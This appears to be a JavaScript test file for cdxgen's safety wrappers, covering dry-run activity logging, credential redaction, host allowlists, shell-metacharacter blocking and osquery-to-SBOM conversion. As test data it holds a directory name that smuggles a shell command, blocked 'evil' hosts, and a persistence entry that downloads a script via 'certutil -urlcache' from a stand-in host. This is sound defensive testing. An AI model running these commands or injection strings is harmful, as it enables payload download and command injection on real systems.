- { type: "issue-tracker", url: "https://github.com/acme/sdk/issues" },
- { type: "vcs", url: "git+ssh://git@github.com/acme/sdk.git#v1.2.0" },
- { type: "distribution", url: "https://files.example.com/sdk.whl" },
- ]);
- });
- });
lib/core/activity.poku.js · Bundled script · 1,311 lines · 1 finding marked
- import { spawnSync } from "node:child_process";
- import {
- chmodSync,
- existsSync,
- mkdirSync,
- mkdtempSync,
- readFileSync,
- rmSync,
- symlinkSync,
- writeFileSync,
- } from "node:fs";
- import { platform, tmpdir } from "node:os";
- import path from "node:path";
- import process from "node:process";
- import esmock from "esmock";
- import { assert, describe, it } from "poku";
- import sinon from "sinon";
- import {
- addEvidenceForImports,
- cdxgenAgent,
- collectExecutables,
- collectSharedLibs,
- convertOSQueryResults,
- getAllFiles,
- getRecordedActivities,
- isAllowedHttpHost,
- isDryRunError,
- readEnvironmentVariable,
- recordActivity,
- recordSensitiveFileRead,
- recordSymlinkResolution,
- resetRecordedActivities,
- safeExistsSync,
- safeMkdtempSync,
- safeRmSync,
- safeSpawnSync,
- safeUnlinkSync,
- safeWriteSync,
- setDryRunMode,
- } from "../ecosystems/utils.js";
- function createMockedProcess(envOverrides = {}) {
- const env = {
- ...process.env,
- };
- for (const [key, value] of Object.entries(envOverrides)) {
- if (value === undefined) {
- delete env[key];
- } else {
- env[key] = value;
- }
- }
- const mockedProcess = Object.create(process);
- mockedProcess.argv = [...process.argv];
- mockedProcess.env = env;
- return mockedProcess;
- }
- it("safeSpawnSync() returns a dry-run sentinel result when dry run mode is enabled", () => {
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- const result = safeSpawnSync("node", ["--version"], {});
- assert.strictEqual(result.status, 1);
- assert.ok(isDryRunError(result.error));
- const executeActivity = getRecordedActivities().find(
- (activity) => activity.kind === "execute",
- );
- assert.ok(executeActivity);
- assert.strictEqual(executeActivity.status, "blocked");
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- }
- });
- it("safeSpawnSync() redacts URL credentials from the recorded command line", () => {
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- safeSpawnSync(
- "clj",
- [
- "-Stree",
- "-Sdeps",
- '{:mvn/repos {"central" {:url "https://reader:s3cret@nexus.example.com/repository/maven-central/"}}}',
- ],
- {},
- );
- const executeActivity = getRecordedActivities().find(
- (activity) => activity.kind === "execute",
- );
- assert.ok(executeActivity);
- assert.ok(!executeActivity.target.includes("s3cret"));
- assert.ok(!executeActivity.target.includes("reader"));
- assert.ok(
- executeActivity.target.includes(
- 'clj -Stree -Sdeps {:mvn/repos {"central" {:url "https://nexus.example.com/repository/maven-central/"}}}',
- ),
- );
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- }
- });
- it("recordActivity() redacts userinfo and query strings from network targets", () => {
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- const entry = recordActivity({
- kind: "network",
- status: "blocked",
- target: "https://bob:tok3n@registry.example.com/pkg?token=abc#frag",
- });
- assert.ok(entry);
- assert.strictEqual(entry.target, "https://registry.example.com/pkg");
- assert.strictEqual(getRecordedActivities()[0].target, entry.target);
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- }
- });
- it("safeSpawnSync() does not classify non-probe -v commands as version checks", () => {
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- safeSpawnSync("swift", ["package", "-v", "resolve"], {});
- const executeActivity = getRecordedActivities().find(
- (activity) => activity.kind === "execute",
- );
- assert.ok(executeActivity);
- assert.strictEqual(executeActivity.probeType, undefined);
- assert.ok(!/version check/i.test(executeActivity.reason));
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- }
- });
- it("safeSpawnSync() blocks shell metacharacters with shell execution", () => {
- const markerFile = path.join(tmpdir(), "cdxgen-safe-spawn-shell-marker");
- const originalConsoleWarn = console.warn;
- const warnings = [];
- rmSync(markerFile, { force: true });
- resetRecordedActivities();
- console.warn = (message) => {
- warnings.push(message);
- };
- try {
- const result = safeSpawnSync("printf", ["blocked", ">", markerFile], {
- shell: true,
- });
- assert.strictEqual(result.status, 1);
- assert.ok(result.error);
- assert.match(result.error.message, /shell metacharacters/);
- assert.strictEqual(existsSync(markerFile), false);
- assert.ok(warnings.some((warning) => /Security Alert/.test(warning)));
- } finally {
- console.warn = originalConsoleWarn;
- resetRecordedActivities();
- rmSync(markerFile, { force: true });
- }
- });
- it("safeSpawnSync() reads CDXGEN_ALLOWED_COMMANDS once per invocation", () => {
- const originalAllowedCommands = process.env.CDXGEN_ALLOWED_COMMANDS;
- process.env.CDXGEN_ALLOWED_COMMANDS = "echo-cdxgen-test";
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- safeSpawnSync("echo-cdxgen-test", ["value"], {});
- const envActivities = getRecordedActivities().filter(
- (activity) => activity.target === "process.env:CDXGEN_ALLOWED_COMMANDS",
- );
- assert.strictEqual(envActivities.length, 1);
- assert.strictEqual(envActivities[0].count, 1);
- } finally {
- if (originalAllowedCommands === undefined) {
- delete process.env.CDXGEN_ALLOWED_COMMANDS;
- } else {
- process.env.CDXGEN_ALLOWED_COMMANDS = originalAllowedCommands;
- }
- setDryRunMode(false);
- resetRecordedActivities();
- }
- });
- it("safeSpawnSync() records stdout and stderr byte sizes in debug mode", async () => {
- const mockedProcess = createMockedProcess({
- CDXGEN_ALLOWED_COMMANDS: "echo-cdxgen-test",
- CDXGEN_DEBUG_MODE: "debug",
- CDXGEN_SECURE_MODE: undefined,
- NODE_OPTIONS: undefined,
- });
- const utilsModule = await esmock(
- "../ecosystems/utils.js",
- {},
- {
- "node:child_process": {
- spawnSync: sinon.stub().returns({
- status: 0,
- stdout: "hello",
- stderr: "warn",
- }),
- },
- "node:process": {
- default: mockedProcess,
- },
- },
- );
- utilsModule.resetRecordedActivities();
- utilsModule.safeSpawnSync("echo-cdxgen-test", ["value"], {});
- const executeActivity = utilsModule
- .getRecordedActivities()
- .find(
- (activity) =>
- activity.kind === "execute" &&
- activity.target === "echo-cdxgen-test value",
- );
- assert.ok(executeActivity);
- assert.strictEqual(executeActivity.stdoutBytes, 5);
- assert.strictEqual(executeActivity.stderrBytes, 4);
- utilsModule.resetRecordedActivities();
- });
- it("safeExtractArchive() records source byte size in debug mode", async () => {
- const mockedProcess = createMockedProcess({
- CDXGEN_ALLOWED_COMMANDS: undefined,
- CDXGEN_DEBUG_MODE: "debug",
- CDXGEN_SECURE_MODE: undefined,
- NODE_OPTIONS: undefined,
- });
- const utilsModule = await esmock(
- "../ecosystems/utils.js",
- {},
- {
- "node:process": {
- default: mockedProcess,
- },
- },
- );
- const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
- const sourcePath = path.join(tempDir, "archive.zip");
- const targetPath = path.join(tempDir, "extracted");
- mkdirSync(targetPath, { recursive: true });
- writeFileSync(sourcePath, "abc");
- utilsModule.resetRecordedActivities();
- await utilsModule.safeExtractArchive(
- sourcePath,
- targetPath,
- async () => {
- writeFileSync(path.join(targetPath, "a.txt"), "hello");
- mkdirSync(path.join(targetPath, "nested"), { recursive: true });
- writeFileSync(path.join(targetPath, "nested", "b.txt"), "xy");
- },
- "unzip",
- );
- const archiveActivity = utilsModule
- .getRecordedActivities()
- .find(
- (activity) =>
- activity.kind === "unzip" &&
- activity.target === `${sourcePath} -> ${targetPath}`,
- );
- assert.ok(archiveActivity);
- assert.strictEqual(archiveActivity.status, "completed");
- assert.strictEqual(archiveActivity.sourceBytes, 3);
- rmSync(tempDir, { recursive: true, force: true });
- });
- it("safeExtractArchive() records failed extraction activity in debug mode", async () => {
- const mockedProcess = createMockedProcess({
- CDXGEN_ALLOWED_COMMANDS: undefined,
- CDXGEN_DEBUG_MODE: "debug",
- CDXGEN_SECURE_MODE: undefined,
- NODE_OPTIONS: undefined,
- });
- const utilsModule = await esmock(
- "../ecosystems/utils.js",
- {},
- {
- "node:process": {
- default: mockedProcess,
- },
- },
- );
- const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
- const sourcePath = path.join(tempDir, "archive.tar");
- const targetPath = path.join(tempDir, "extracted");
- mkdirSync(targetPath, { recursive: true });
- writeFileSync(sourcePath, "abcd");
- utilsModule.resetRecordedActivities();
- const extractionError = new Error("permission denied");
- extractionError.code = "EACCES";
- await assert.rejects(
- utilsModule.safeExtractArchive(
- sourcePath,
- targetPath,
- async () => {
- throw extractionError;
- },
- "untar",
- ),
- extractionError,
- );
- const archiveActivity = utilsModule
- .getRecordedActivities()
- .find(
- (activity) =>
- activity.kind === "untar" &&
- activity.target === `${sourcePath} -> ${targetPath}`,
- );
- assert.ok(archiveActivity);
- assert.strictEqual(archiveActivity.status, "failed");
- assert.strictEqual(archiveActivity.errorCode, "EACCES");
- assert.strictEqual(archiveActivity.sourceBytes, 4);
- rmSync(tempDir, { recursive: true, force: true });
- });
- it("records dry-run environment variable reads via helper access", () => {
- const originalEnvValue = process.env.CDXGEN_TEST_ENV_READ;
- process.env.CDXGEN_TEST_ENV_READ = "trace-me";
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
- readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
- const activities = getRecordedActivities().filter(
- (activity) => activity.target === "process.env:CDXGEN_TEST_ENV_READ",
- );
- assert.strictEqual(activities.length, 1);
- assert.strictEqual(activities[0].kind, "env");
- assert.match(activities[0].reason, /2 times/);
- } finally {
- if (originalEnvValue === undefined) {
- delete process.env.CDXGEN_TEST_ENV_READ;
- } else {
- process.env.CDXGEN_TEST_ENV_READ = originalEnvValue;
- }
- setDryRunMode(false);
- resetRecordedActivities();
- }
- });
- it("isAllowedHttpHost() honors exact and wildcard host allowlists", () => {
- const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
- try {
- process.env.CDXGEN_ALLOWED_HOSTS = "example.com,*.trusted.test";
- assert.strictEqual(isAllowedHttpHost("example.com"), true);
- assert.strictEqual(isAllowedHttpHost("api.trusted.test"), true);
- assert.strictEqual(isAllowedHttpHost("trusted.test"), false);
- assert.strictEqual(isAllowedHttpHost("evil.com"), false);
- } finally {
- if (originalAllowedHosts === undefined) {
- delete process.env.CDXGEN_ALLOWED_HOSTS;
- } else {
- process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
- }
- }
- });
- it("deduplicates sensitive file read activity entries in dry-run mode", () => {
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- recordSensitiveFileRead("/tmp/docker/config.json", {
- label: "Docker credential file",
- });
- recordSensitiveFileRead("/tmp/docker/config.json", {
- label: "Docker credential file",
- });
- const activities = getRecordedActivities().filter(
- (activity) => activity.target === "/tmp/docker/config.json",
- );
- assert.strictEqual(activities.length, 1);
- assert.strictEqual(activities[0].kind, "read");
- assert.match(activities[0].reason, /2 times/);
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- }
- });
- it("records classified manifest and config inspections in dry-run mode", () => {
- const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-inspect-"));
- const packageJsonFile = path.join(tmpRoot, "package.json");
- const settingsXmlFile = path.join(tmpRoot, "settings.xml");
- writeFileSync(packageJsonFile, "{}");
- writeFileSync(settingsXmlFile, "<settings />");
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- assert.ok(safeExistsSync(packageJsonFile));
- assert.ok(safeExistsSync(settingsXmlFile));
- const activities = getRecordedActivities().filter((activity) =>
- [packageJsonFile, settingsXmlFile].includes(activity.target),
- );
- assert.strictEqual(activities.length, 2);
- assert.deepStrictEqual(
- activities.map((activity) => activity.kind),
- ["inspect", "inspect"],
- );
- assert.deepStrictEqual(
- activities.map((activity) => activity.classification),
- ["manifest", "config"],
- );
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- rmSync(tmpRoot, { force: true, recursive: true });
- }
- });
- it("records recursive file discovery activity in dry-run mode", () => {
- const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
- const packageJsonFile = path.join(tmpRoot, "package.json");
- writeFileSync(packageJsonFile, "{}");
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- const files = getAllFiles(tmpRoot, "**/package.json");
- assert.deepStrictEqual(files, [packageJsonFile]);
- const activities = getRecordedActivities().filter((activity) =>
- activity.target.includes("**/package.json"),
- );
- assert.strictEqual(activities.length, 1);
- assert.strictEqual(activities[0].kind, "discover");
- assert.strictEqual(activities[0].discoveryType, "manifest-discovery");
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- rmSync(tmpRoot, { force: true, recursive: true });
- }
- });
- it("records suspicious discovered paths with shell metacharacters in dry-run mode", () => {
- const tmpRoot = mkdtempSync(
- path.join(tmpdir(), "cdxgen-dry-run-shell-path-"),
- );
- const shellIfs = "$" + "{IFS}";
- const maliciousDirName =
- platform() === "win32"
- ? "evil&echo%CDXGEN_GITURL_E2E_MARKER%&rem"
- : `evil;cd${shellIfs}..;printf${shellIfs}marker>CDXGEN_GITURL_E2E_MARKER;#`;
- const maliciousDir = path.join(tmpRoot, maliciousDirName);
- const pomFile = path.join(maliciousDir, "pom.xml");
- mkdirSync(maliciousDir, { recursive: true });
- writeFileSync(pomFile, "<project />");
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- assert.deepStrictEqual(getAllFiles(tmpRoot, "**/pom.xml"), [pomFile]);
- const suspiciousActivity = getRecordedActivities().find(
- (activity) => activity.classification === "suspicious-path",
- );
- assert.ok(suspiciousActivity);
- assert.strictEqual(suspiciousActivity.risk, "shell-metacharacters");
- assert.strictEqual(suspiciousActivity.target, pomFile);
- assert.match(suspiciousActivity.reason, /shell metacharacters/);
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- rmSync(tmpRoot, { force: true, recursive: true });
- }
- });
- it("records updated discovery activity when a repeated glob match count changes", () => {
- const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
- const packageJsonFile = path.join(tmpRoot, "package.json");
- const nestedDir = path.join(tmpRoot, "nested");
- const nestedPackageJsonFile = path.join(nestedDir, "package.json");
- writeFileSync(packageJsonFile, "{}");
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- getAllFiles(tmpRoot, "**/package.json");
- mkdirSync(nestedDir, { recursive: true });
- writeFileSync(nestedPackageJsonFile, "{}");
- getAllFiles(tmpRoot, "**/package.json");
- const activities = getRecordedActivities().filter((activity) =>
- activity.target.includes("**/package.json"),
- );
- assert.strictEqual(activities.length, 2);
- assert.deepStrictEqual(
- activities.map((activity) => activity.matchedCount),
- [1, 2],
- );
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- rmSync(tmpRoot, { force: true, recursive: true });
- }
- });
- it("dry-run filesystem wrappers do not mutate the filesystem", () => {
- const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-"));
- const fileToKeep = path.join(tmpRoot, "keep.txt");
- const fileToSkip = path.join(tmpRoot, "skip.txt");
- const dirToKeep = path.join(tmpRoot, "keep-dir");
- writeFileSync(fileToKeep, "hello");
- mkdirSync(dirToKeep, { recursive: true });
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- const tempPath = safeMkdtempSync(path.join(tmpRoot, "temp-"));
- safeWriteSync(fileToSkip, "world");
- safeUnlinkSync(fileToKeep);
- safeRmSync(dirToKeep, { recursive: true, force: true });
- assert.ok(!existsSync(fileToSkip));
- assert.ok(existsSync(fileToKeep));
- assert.ok(existsSync(dirToKeep));
- assert.ok(!existsSync(tempPath));
- const activities = getRecordedActivities();
- assert.deepStrictEqual(
- activities.map((activity) => activity.kind),
- ["temp-dir", "write", "cleanup", "cleanup"],
- );
- assert.ok(activities.every((activity) => activity.status === "blocked"));
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- rmSync(tmpRoot, { force: true, recursive: true });
- }
- });
- it("safeWriteSync() honors explicit fs.write permission for output files", async () => {
- const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-secure-write-"));
- const outputFile = path.join(tmpRoot, "bom.json");
- const hasPermissionStub = sinon.stub().callsFake((scope, filePath) => {
- return (
- scope === "fs.read" || (scope === "fs.write" && filePath === outputFile)
- );
- });
- const mockedProcess = createMockedProcess({
- CDXGEN_DEBUG_MODE: "debug",
- CDXGEN_SECURE_MODE: "true",
- });
- mockedProcess.permission = { has: hasPermissionStub };
- try {
- const {
- getRecordedActivities: getRecordedActivitiesMocked,
- resetRecordedActivities: resetRecordedActivitiesMocked,
- safeWriteSync: safeWriteSyncMocked,
- } = await esmock(
- "../ecosystems/utils.js",
- {},
- {
- "node:process": {
- default: mockedProcess,
- },
- },
- );
- resetRecordedActivitiesMocked();
- safeWriteSyncMocked(outputFile, "{}");
- assert.strictEqual(readFileSync(outputFile, "utf-8"), "{}");
- assert.strictEqual(getRecordedActivitiesMocked()[0].status, "completed");
- } finally {
- rmSync(tmpRoot, { force: true, recursive: true });
- }
- });
- it("cdxgenAgent records completed and failed network activity outcomes", async () => {
- let setDryRunModeMocked;
- try {
- const {
- cdxgenAgent,
- getRecordedActivities: getRecordedActivitiesMocked,
- resetRecordedActivities: resetRecordedActivitiesMocked,
- setDryRunMode: mockedSetDryRunMode,
- } = await esmock(
- "../ecosystems/utils.js",
- {},
- {
- "./httpClient.js": {
- createHttpClient: sinon.stub().callsFake((options) => {
- return {
- hooks: options.hooks,
- };
- }),
- },
- },
- );
- setDryRunModeMocked = mockedSetDryRunMode;
- const afterResponseHook = cdxgenAgent.hooks.afterResponse[0];
- const beforeErrorHook = cdxgenAgent.hooks.beforeError[0];
- setDryRunModeMocked(true);
- resetRecordedActivitiesMocked();
- const successUrl = "https://example.com/success";
- const successOptions = {
- context: {
- activityTarget: successUrl,
- },
- url: new URL(successUrl),
- };
- afterResponseHook({
- request: {
- options: successOptions,
- },
- statusCode: 200,
- url: successUrl,
- });
- assert.strictEqual(getRecordedActivitiesMocked()[0].status, "completed");
- assert.strictEqual(getRecordedActivitiesMocked()[0].target, successUrl);
- resetRecordedActivitiesMocked();
- const failureUrl = "https://example.com/failure";
- const failureOptions = {
- context: {
- activityTarget: failureUrl,
- },
- url: new URL(failureUrl),
- };
- const returnedError = beforeErrorHook({
- message: "Request failed with status code 500",
- options: failureOptions,
- });
- assert.match(returnedError.message, /status code 500/);
- const failureActivities = getRecordedActivitiesMocked();
- assert.strictEqual(failureActivities.length, 1);
- assert.strictEqual(failureActivities[0].status, "failed");
- assert.strictEqual(failureActivities[0].target, failureUrl);
- } finally {
- if (setDryRunModeMocked) {
- setDryRunModeMocked(false);
- }
- }
- });
- it("cdxgenAgent throws (not just logs) for a disallowed host outside dry-run", () => {
- const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
- try {
- // Regression guard: the beforeRequest hook must THROW to abort a blocked
- // host. Returning an aborted AbortController is a no-op and lets the
- // request through, silently bypassing CDXGEN_ALLOWED_HOSTS.
- process.env.CDXGEN_ALLOWED_HOSTS = "example.com";
- const beforeRequestHook =
- cdxgenAgent.defaults.options.hooks.beforeRequest[0];
- setDryRunMode(false);
- resetRecordedActivities();
- let thrown;
- try {
- beforeRequestHook({
- context: {},
- url: new URL("https://evil.example.org/resource"),
- });
- } catch (err) {
- thrown = err;
- }
- assert.ok(thrown, "Expected a disallowed host to throw");
- assert.strictEqual(thrown.code, "CDXGEN_HOST_BLOCKED");
- } finally {
- if (originalAllowedHosts === undefined) {
- delete process.env.CDXGEN_ALLOWED_HOSTS;
- } else {
- process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
- }
- resetRecordedActivities();
- }
- });
- it("cdxgenAgent reads CDXGEN_ALLOWED_HOSTS once per request", () => {
- const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
- try {
- process.env.CDXGEN_ALLOWED_HOSTS = "example.com";
- const beforeRequestHook =
- cdxgenAgent.defaults.options.hooks.beforeRequest[0];
- setDryRunMode(true);
- resetRecordedActivities();
- assert.throws(() =>
- beforeRequestHook({
- context: {},
- url: new URL("https://example.com/resource"),
- }),
- );
- const envActivities = getRecordedActivities().filter(
- (activity) => activity.target === "process.env:CDXGEN_ALLOWED_HOSTS",
- );
- assert.strictEqual(envActivities.length, 1);
- assert.strictEqual(envActivities[0].count, 1);
- } finally {
- if (originalAllowedHosts === undefined) {
- delete process.env.CDXGEN_ALLOWED_HOSTS;
- } else {
- process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
- }
- setDryRunMode(false);
- resetRecordedActivities();
- }
- });
- describe("convertOSQueryResults", () => {
- it("includes the osquery 5.23.0 query pack additions across platform profiles", () => {
- const linuxQueries = JSON.parse(
- readFileSync(
- new URL("../../data/queries.json", import.meta.url),
- "utf-8",
- ),
- );
- const darwinQueries = JSON.parse(
- readFileSync(
- new URL("../../data/queries-darwin.json", import.meta.url),
- "utf-8",
- ),
- );
- const windowsQueries = JSON.parse(
- readFileSync(
- new URL("../../data/queries-win.json", import.meta.url),
- "utf-8",
- ),
- );
- assert.ok(linuxQueries.npm_packages);
- assert.ok(linuxQueries.secureboot_certificates);
- assert.ok(linuxQueries.apt_ppa_sources);
- assert.ok(linuxQueries.sysctl_hardening);
- assert.ok(linuxQueries.mount_hardening);
- assert.ok(linuxQueries.trusted_gpg_keys);
- assert.ok(darwinQueries.gatekeeper);
- assert.ok(darwinQueries.npm_packages);
- assert.match(
- darwinQueries.package_bom.query,
- /WHERE path IN \(SELECT REPLACE\(package_receipts\.path, '.plist', '.bom'\) FROM package_receipts JOIN file ON file\.path = REPLACE\(package_receipts\.path, '.plist', '.bom'\) WHERE package_receipts\.path LIKE '%.plist' AND file\.size <= 52428800\)/i,
- );
- assert.match(linuxQueries.trusted_gpg_keys.query, /file\.directory/);
- assert.match(linuxQueries.trusted_gpg_keys.query, /hash\.sha256/);
- assert.ok(windowsQueries.process_open_handles_snapshot);
- });
- it("includes the osquery 5.24.0 query pack additions across platform profiles", () => {
- const readPack = (name) =>
- JSON.parse(
- readFileSync(new URL(`../../data/${name}`, import.meta.url), "utf-8"),
- );
- const linuxQueries = readPack("queries.json");
- const darwinQueries = readPack("queries-darwin.json");
- const windowsQueries = readPack("queries-win.json");
- const cbomQueries = readPack("cbomosdb-queries.json");
- for (const category of [
- "pacman_packages",
- "snap_packages",
- "flatpak_packages",
- "homebrew_packages",
- ]) {
- assert.ok(linuxQueries[category], category);
- }
- assert.strictEqual(linuxQueries.pacman_packages.purlType, "alpm");
- assert.strictEqual(linuxQueries.snap_packages.purlType, "snap");
- assert.strictEqual(linuxQueries.flatpak_packages.purlType, "flatpak");
- // A flatpak is named by its application ID, which the query selects as
- // the row's name.
- assert.match(linuxQueries.flatpak_packages.query, /app_id as name/i);
- assert.strictEqual(darwinQueries.macports_packages.purlType, "macports");
- assert.ok(!windowsQueries.homebrew_packages);
- // Homebrew now runs on Linux with the entry macOS has always used.
- assert.deepStrictEqual(
- linuxQueries.homebrew_packages,
- darwinQueries.homebrew_packages,
- );
- // The tables of every platform share one entry in each pack.
- for (const category of [
- "ai_agent_skills",
- "gpu_info",
- "chrome_search_engines",
- ]) {
- assert.deepStrictEqual(linuxQueries[category], darwinQueries[category]);
- assert.deepStrictEqual(linuxQueries[category], windowsQueries[category]);
- }
- // Skills of every user, then the system-wide ones a users join drops.
- assert.match(
- linuxQueries.ai_agent_skills.query,
- /FROM users JOIN ai_agent_skills USING \(uid\)/,
- );
- assert.match(
- linuxQueries.ai_agent_skills.query,
- /UNION ALL .* WHERE ai_agent_skills\.scope = 'system'/,
- );
- assert.match(linuxQueries.ai_agent_skills.query, /hash\.sha256/);
- assert.strictEqual(linuxQueries.ai_agent_skills.componentType, "file");
- assert.strictEqual(linuxQueries.gpu_info.componentType, "device");
- assert.match(
- windowsQueries.windows_bitlocker_info.query,
- /\bprotector_types\b/,
- );
- assert.strictEqual(cbomQueries.pacman_packages.purlType, "alpm");
- assert.strictEqual(cbomQueries.macports_packages.purlType, "macports");
- // gpu_metrics changes on every run, and the bpf event tables are gone.
- for (const pack of [linuxQueries, darwinQueries, windowsQueries]) {
- for (const queryObj of Object.values(pack)) {
- assert.doesNotMatch(
- queryObj.query,
- /\b(gpu_metrics|bpf_process_events|bpf_socket_events)\b/,
- );
- }
- }
- });
- it("should model trusted linux repository keys as cryptographic assets", () => {
- const components = convertOSQueryResults(
- "trusted_gpg_keys",
- {
- purlType: "generic",
- componentType: "cryptographic-asset",
- },
- [
- {
- name: "debian-archive-keyring.gpg",
- version: "c".repeat(64),
- description: "/usr/share/keyrings/debian-archive-keyring.gpg",
- path: "/usr/share/keyrings/debian-archive-keyring.gpg",
- sha1: "b".repeat(40),
- sha256: "c".repeat(64),
- trust_domain: "apt",
- },
- ],
- false,
- );
- assert.strictEqual(components.length, 1);
- assert.strictEqual(components[0].type, "cryptographic-asset");
- assert.strictEqual(components[0].purl, undefined);
- assert.ok(
- components[0]["bom-ref"].startsWith(
- "crypto/related-crypto-material/public-key/",
- ),
- );
- assert.strictEqual(
- components[0].cryptoProperties?.assetType,
- "related-crypto-material",
- );
- assert.strictEqual(
- components[0].cryptoProperties?.relatedCryptoMaterialProperties?.type,
- "public-key",
- );
- assert.ok(
- components[0].hashes.some(
- (hash) => hash.alg === "SHA-256" && hash.content === "c".repeat(64),
- ),
- );
- });
- it("should preserve the full certificate crypto properties shape", () => {
- const components = convertOSQueryResults(
- "certificates",
- {
- purlType: "generic",
- componentType: "cryptographic-asset",
- },
- [
- {
- name: "ACCVRAIZ1",
- path: "/etc/ssl/certs/ACCVRAIZ1.crt",
- serial: "5EC3B7A6437FA4E0",
- subject: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
- issuer: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
- not_valid_before: "2011-05-05T09:37:37.000Z",
- not_valid_after: "2030-12-31T09:37:37.000Z",
- sha1: "1".repeat(40),
- },
- ],
- false,
- );
- assert.strictEqual(components.length, 1);
- assert.strictEqual(components[0].type, "cryptographic-asset");
- assert.strictEqual(
- components[0].cryptoProperties?.assetType,
- "certificate",
- );
- assert.deepStrictEqual(
- components[0].cryptoProperties?.certificateProperties,
- {
- serialNumber: "5EC3B7A6437FA4E0",
- subjectName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
- issuerName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
- notValidBefore: "2011-05-05T09:37:37.000Z",
- notValidAfter: "2030-12-31T09:37:37.000Z",
- certificateFormat: "X.509",
- certificateFileExtension: "crt",
- fingerprint: { alg: "SHA-1", content: "1".repeat(40) },
- },
- );
- });
- it("should ignore empty occurrence locations when adding import evidence", async () => {
- const pkgList = [{ name: "lodash" }];
- const allImports = {
- lodash: [
- {
- fileName: " ",
- importedAs: "lodash",
- importedModules: ["map"],
- },
- ],
- };
- await addEvidenceForImports(pkgList, allImports, {}, false);
- assert.strictEqual(pkgList[0].scope, "required");
- assert.strictEqual(pkgList[0].evidence, undefined);
- assert.deepStrictEqual(pkgList[0].properties, [
- {
- name: "internal:ImportedModules",
- value: "lodash,lodash/map",
- },
- ]);
- });
- it("should use identifier as package name for chrome-extension purl type", () => {
- const components = convertOSQueryResults(
- "chrome_extensions",
- {
- purlType: "chrome-extension",
- componentType: "application",
- },
- [
- {
- name: "Human Readable Name",
- identifier: "HLEPFOOHEGKHHMJIEOECHADDAEJAOKHF",
- version: "25.7.1",
- profile: "Default",
- },
- ],
- false,
- );
- assert.strictEqual(components.length, 1);
- assert.strictEqual(components[0].name, "hlepfoohegkhhmjieoechaddaejaokhf");
- assert.strictEqual(
- components[0].purl,
- "pkg:chrome-extension/hlepfoohegkhhmjieoechaddaejaokhf@25.7.1",
- );
- const propNames = components[0].properties.map((prop) => prop.name);
- assert.ok(propNames.includes("name"));
- assert.ok(propNames.includes("identifier"));
- });
- it("should omit purl for osquery data components while keeping a stable bom-ref", () => {
- const components = convertOSQueryResults(
- "authorized_keys_snapshot",
- {
- purlType: "swid",
- componentType: "data",
- },
- [
- {
- name: "root",
- version: "ssh-ed25519",
- description: "ops@example.invalid",
- key_file: "/root/.ssh/authorized_keys",
- uid: "0",
- },
- ],
- false,
- );
- assert.strictEqual(components.length, 1);
- assert.strictEqual(components[0].purl, undefined);
- assert.strictEqual(
- components[0]["bom-ref"],
- "osquery:authorized_keys_snapshot:data:root@ssh-ed25519[key_file=/root/.ssh/authorized_keys]",
- );
- });
- it("should add LOLBAS properties to suspicious windows osquery rows", () => {
- const components = convertOSQueryResults(
- "windows_run_keys",
- {
- purlType: "swid",
- componentType: "data",
- },
- [
- {
- name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
- description:
- "powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
- },
- ],
- false,
- );
- assert.strictEqual(components.length, 1);
- assert.strictEqual(components[0].purl, undefined);
- assert.strictEqual(
- components[0]["bom-ref"],
- "osquery:windows_run_keys:data:HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater@unknown",
- );
- const propertyMap = Object.fromEntries(
- components[0].properties.map((property) => [
- property.name,
- property.value,
- ]),
- );
- assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
- assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
- assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
- assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
- assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
- });
- it("should add GTFOBins properties to suspicious Linux osquery rows", () => {
- if (platform() !== "linux") {
- return;
- }
- const components = convertOSQueryResults(
- "sudo_executions",
- {
- purlType: "swid",
- componentType: "application",
- },
